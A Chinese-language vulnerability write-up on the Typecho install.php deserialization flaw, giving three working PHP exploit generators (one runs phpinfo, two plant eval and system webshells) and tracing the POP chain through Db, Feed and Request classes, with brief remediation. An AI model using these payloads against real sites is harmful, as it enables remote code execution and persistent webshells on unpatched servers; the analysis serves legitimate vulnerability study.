0x00 前言
一个月前,typecho博客系统爆出了反序列化前台getshell的重大bug,当时太忙没时间分析,最近熟悉了下php的反序列化漏洞,乘势重温下当时火热的typecho反序列化漏洞,如果对php反序列化漏洞不甚了解,可以参考php反序列化漏洞总结。
0x01 漏洞重现
环境:win7+phpstudy(php5.4.45+apache2)+Typecho141010
0号payload0(来自www.freebuf.com/vuls/152058.html):执行phpinfo
<?phpclass Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp));
<?php class Typecho_Feed{ private $_items = array(); const RSS2 = 'RSS 2.0'; private $_version; private $_type; private $_charset; private $_lang; public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array(); private $_filter = array('assert'); public function __construct(){ $this->_params['screenName'] = 'file_put_contents(\'testpayload1.php\', \'<?php @eval($_POST[typecho]);?>\')'; $this->_filter[0] = 'assert'; } } $payload1 = new Typecho_Feed(1); $payload2 = new Typecho_Request(); $payload1->addItem(array('author' => $payload2)); $exp = array('adapter' => $payload1, 'prefix' => 'typecho'); echo base64_encode(serialize($exp));
效果:
返回500,但是已经成功写入文件。
2号payload2:执行命令:
细心一点就会发现Requset.php:359
<name>’ . $item[‘author’]->screenName . ‘</name>
<uri>’ . $item[‘author’]->url . ‘</uri>
url也应该是可以利用的,但是本人尝试没成功,所以还是利用screenName构造payload2:
<?php class Typecho_Feed{ private $_items = array(); const RSS2 = 'RSS 2.0'; private $_version; private $_type; private $_charset; private $_lang; public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'file_put_contents(\'shell.php\', \'<?php @system($_GET[cmd]);?>\')'; $this->_filter[0] = 'assert'; } } $payload1 = new Typecho_Feed(1); $payload2 = new Typecho_Request(); $payload1->addItem(array('author' => $payload2)); $exp = array('adapter' => $payload1, 'prefix' => 'typecho_'); echo base64_encode(serialize($exp));
0x02 修复方案
1. 删除install.php
2. 升级到最新版本
0x03 漏洞分析
Install.php 229
<?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>
关键函数unserialize出现,还有base64_decode,后门的气息扑面而来,但本人觉得或许不是后门。大概的意思好像是从cookie读取config,进行base64解码再反序列化。
看看Typecho_Cookie的get方法
var/Typecho/Cookie.php 83
public static function get($key, $default = NULL) { $key = self::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return is_array($value) ? $default : $value; }
如果$_COOKIE[$key]就赋值给value,否则就拿$_POST[$key]给value。这里表明将payload放cookie或者直接post都是可以的。
还有
$db = new Typecho_Db($config[‘adapter’], $config[‘prefix’]);
这里new了db对象。
Install.php 59
//判断是否已经安装 if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; } // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; } $parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; } if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
Finish = 1,referer同源即可
接下来就是重点了-搜寻可利用的pop链
来看看上面说的db对象,Typecho_Db类在Db.php:
var/typecho/Db.php 114
public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); }
发现拼接$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;
由于对象和字符串拼接会自动调用魔术方法__toString,所以搜索__toString。
var/typecho/Feed.php 223
public function __toString() { $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL; if (self::RSS1 == $this->_type) { $result .= '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL; $content = ''; $links = array(); $lastUpdate = 0; foreach ($this->_items as $item) { $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL; $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL; if (!empty($item['suffix'])) { $content .= $item['suffix']; } $content .= '</item>' . self::EOL; $links[] = $item['link']; if ($item['date'] > $lastUpdate) { $lastUpdate = $item['date']; } } $result .= '<channel rdf:about="' . $this->_feedUrl . '"> <title>' . htmlspecialchars($this->_title) . '</title> <link>' . $this->_baseUrl . '</link> <description>' . htmlspecialchars($this->_subTitle) . '</description> <items> <rdf:Seq>' . self::EOL; foreach ($links as $link) { $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL; } $result .= '</rdf:Seq> </items> </channel>' . self::EOL; $result .= $content . '</rdf:RDF>'; } else if (self::RSS2 == $this->_type) { $result .= '<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wfw="http://wellformedweb.org/CommentAPI/"> <channel>' . self::EOL; $content = ''; $lastUpdate = 0; foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
关键是最后一行……
$content .= ‘<dc:creator>’ . htmlspecialchars($item[‘author’]->screenName) . ‘</dc:creator>’ . self::EOL;
__get方法会在调用私有属性或不可访问的属性的时候自动执行
如果screenName 是 $item[‘author’] 代表的类中的私有属性,那么就会调用 __get方法;或者给$item[‘author’]设置的类中没screenName属性,就执行该类的__get()魔术方法。
再搜索魔术方法__get
var/typecho/Request.php 269
/** * 获取实际传递参数(magic) * * @access public * @param string $key 指定参数 * @return mixed */ public function __get($key) { return $this->get($key); }
往下到295行看看get方法
public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
再往上到159行看看_applyFilter方法
private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; }
关键函数call_user_func和array_map出现!可以代码执行。
注意 private $_filter = array();
_filter是私有属性数组,所以可以构造payload:
$this->_filter[0] = ‘assert’;
再看看value是啥东东,回到get方法:
isset($this->_params[$key]):
$value = $this->_params[$key];
可以看出value来自_params[$key],调用私有属性或不存在的属性会自动调用__get(),所以这里$key就是属性名。
private $_params = array();
_params是私有数组,所以可以构造payload
$this->_params[‘screenName’] = ‘phpinfo()’;
再根据$item[‘author’]->screenName构造payload:
‘author’ => new Typecho_Request(),
由于Typecho_Request类没screenName属性,所以$item[‘author’]->screenName就自动调用__get()。传入不存在的属性名screenName,进入get方法使value=’phpinfo()’,利用call_user_fun()执行代码。
回顾整个利用流程(pop链):
install.php:unserialize()—>
Db.php:$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName;拼接调用__toString()—>
Feed.php:__toString():$item[‘author’]->screenName使其调用__get()—>
Request.php:__get():get():return $this->_applyFilter($value);:call_user_func($filter, $value);—>
执行代码!
0x03 回显问题
要注意的一点是网上不少高手都说因为install.php:54开了ob_start(),输出放到缓冲区,注入对象会触发exception:
(代码来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q)
又调用了ob_end_clean(),所以缓冲区的输出被丢弃了,简单说就是没输出。但奇怪的是本人测试并未出现此问题……也没找到触发的exception在哪……
还是给出解决没回显的方法:(方法来源:https://paper.seebug.org/424/)
因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
第一种方法大概实现:
来到Request.php触发点:
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
由于call_user_func在foreach循环,所以可以构造第二次循环跳出exit即可,可以找一个方法中有exit的类,就可以直接让程序退出并输出缓冲区中的内容。
如var/Typecho/Response的redirect方法:
public function redirect($location, $isPermanently = false)
{
/** Typecho_Common */
$location = Typecho_Common::safeUrl($location);
if ($isPermanently) {
header(‘Location: ‘ . $location, false, 301);
exit;
} else {
header(‘Location: ‘ . $location, false, 302);
exit;
}
}
Payload如下(来源:https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q)
第二种方法大概实现:
加上
‘category’ => array(new Typecho_Request()),
来到Feed.php 292
if (!empty($item[‘category’]) && is_array($item[‘category’])) {
foreach ($item[‘category’] as $category) {
$content .= ‘<category><![CDATA[‘ . $category[‘name’] . ‘]]></category>’ . self::EOL;
}
}
因为Typecho_Request不存在name属性,造成报错。
0x05 结语
这次的typecho反序列化漏洞危害很大,但也是很好的审计例子,关于这个反序列化是否是后门,可以参考开发者对此漏洞的说明:https://joyqi.com/typecho/about-typecho-20171027.html
0x06 参考资料
https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q
https://mp.weixin.qq.com/s/C9ojGt4TYZKX30lhTOT3VQ
www.freebuf.com/vuls/152058.html
p0sec.net/index.php/archives/114/
https://paper.seebug.org/424/
https://blog.donot.me/typechofan-xu-lie-hua-lou-dong-fen-xi/
www.blogsir.com.cn/safe/454.html
https://kylingit.com/blog/typecho-install.php-反序列化漏洞分析/
https://joyqi.com/typecho/about-typecho-20171027.html